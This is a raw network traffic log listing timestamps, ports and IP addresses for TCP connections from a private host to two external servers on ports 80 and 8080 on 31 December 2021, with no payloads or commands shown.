Dec 31, 2021 19:12:53.436134100 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.436146975 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436167955 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436172962 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.436191082 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436213017 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436227083 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.436233997 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436256886 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.436259985 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436283112 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436305046 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436316967 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.436326981 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436348915 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436356068 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.436371088 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436393976 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436395884 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.436415911 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436434031 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.436439037 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.437067032 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.437092066 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.437113047 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.437124014 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.437135935 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.437160015 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.437163115 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.437182903 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.437185049 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.437227964 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.437331915 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.437355995 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.437376976 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.437411070 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.483887911 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.483922005 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.483944893 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.483978987 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.484011889 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.484087944 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484111071 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484136105 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484158039 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484174967 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.484180927 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484203100 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484211922 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.484266996 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.484273911 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484297037 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484318972 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484357119 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484380007 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484385967 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.484402895 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484411955 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.484460115 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.484822035 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484888077 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484909058 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484946012 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484954119 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.484968901 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484991074 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.484997034 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485014915 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485037088 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485045910 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485059977 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485083103 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485090017 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485105038 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485126972 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485127926 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485147953 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485168934 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485191107 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485192060 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485213041 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485225916 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485234976 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485258102 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485266924 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485280037 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485301971 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485301971 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485325098 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485352993 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485626936 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485676050 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485699892 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485722065 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485728025 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485745907 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485768080 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485773087 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485789061 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485797882 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485811949 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485833883 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.485836029 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.485898972 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.532572031 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532613993 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532635927 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532658100 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532677889 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532690048 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.532700062 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532721996 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532735109 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.532762051 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.532788038 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532812119 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532836914 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532860994 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.532881021 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532895088 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.532905102 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532948017 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532952070 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.532970905 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.532993078 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533015013 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533020973 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.533039093 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533058882 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533087969 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.533119917 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.533776999 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533799887 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533822060 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533844948 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533864021 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533873081 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.533880949 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533902884 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533914089 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.533925056 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533936024 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.533946991 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533970118 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.533973932 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.533993006 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534015894 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534034014 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.534038067 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534060955 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534070015 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.534082890 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534105062 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534107924 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.534127951 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534149885 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534168005 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.534198999 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.534218073 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534271002 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534291983 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534312963 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534337044 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534358025 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534363985 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.534379959 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534401894 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534421921 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534423113 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.534445047 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534471035 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.534485102 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534507990 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.534509897 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.534553051 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.581358910 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.581399918 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.581430912 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.581458092 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.581484079 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.581547022 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.581769943 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.581783056 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.630369902 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.455200911 CET	49805	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.504168987 CET	80	49805	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.504306078 CET	49805	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.504412889 CET	49805	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.504416943 CET	49805	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.553699970 CET	80	49805	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.587449074 CET	80	49805	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.588368893 CET	49805	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.622180939 CET	49805	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.653177977 CET	49806	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.671092987 CET	80	49805	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.701956987 CET	80	49806	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.702824116 CET	49806	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.702915907 CET	49806	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.702928066 CET	49806	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.751786947 CET	80	49806	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.775733948 CET	80	49806	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.775888920 CET	49806	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.776103020 CET	49806	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.806473970 CET	49807	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.824579000 CET	80	49806	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.855214119 CET	80	49807	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.855463028 CET	49807	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.855552912 CET	49807	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.855624914 CET	49807	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.904135942 CET	80	49807	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.932063103 CET	80	49807	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:55.932154894 CET	49807	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.932271957 CET	49807	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.967330933 CET	49808	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:55.980927944 CET	80	49807	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:56.015937090 CET	80	49808	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:56.016063929 CET	49808	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:56.016222000 CET	49808	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:56.016247988 CET	49808	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:56.064758062 CET	80	49808	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:56.090059042 CET	80	49808	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:56.090239048 CET	49808	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:56.090418100 CET	49808	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:56.138858080 CET	80	49808	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:56.140796900 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.200206041 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.200345039 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.200491905 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.259826899 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.260664940 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.260706902 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.260746956 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.260786057 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.260786057 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.260823965 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.260900974 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.260915041 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.260957003 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.260993958 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.261032104 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.261044025 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.261071920 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.261133909 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.320549011 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.320607901 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.320646048 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.320667028 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.320686102 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.320761919 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.320770025 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.320810080 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.320882082 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.320913076 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.320962906 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.320993900 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321024895 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321063995 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321094990 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.321104050 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321140051 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.321144104 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321172953 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.321182966 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321219921 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321250916 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.321258068 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321295023 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321305990 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.321335077 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321373940 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321409941 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.321419954 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.321587086 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.380901098 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381038904 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381083012 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381123066 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381139040 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381160975 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381200075 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381213903 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381239891 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381249905 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381278992 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381320000 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381337881 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381357908 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381397009 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381434917 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381439924 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381473064 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381495953 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381511927 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381550074 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381575108 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381591082 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381630898 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381645918 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381670952 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381710052 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381751060 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381766081 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381788015 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381800890 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381830931 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381869078 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381906986 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381923914 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381947041 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.381958008 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.381985903 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382025957 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382033110 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.382066011 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382102966 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382139921 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382150888 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.382181883 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382220984 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382231951 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.382260084 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382297039 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382320881 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.382334948 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382354975 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.382371902 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382410049 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382447958 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382462978 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.382486105 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382492065 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.382525921 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.382590055 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.442126036 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442193985 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442235947 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442276955 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442290068 CET	49809	8080	192.168.2.3	185.7.214.171
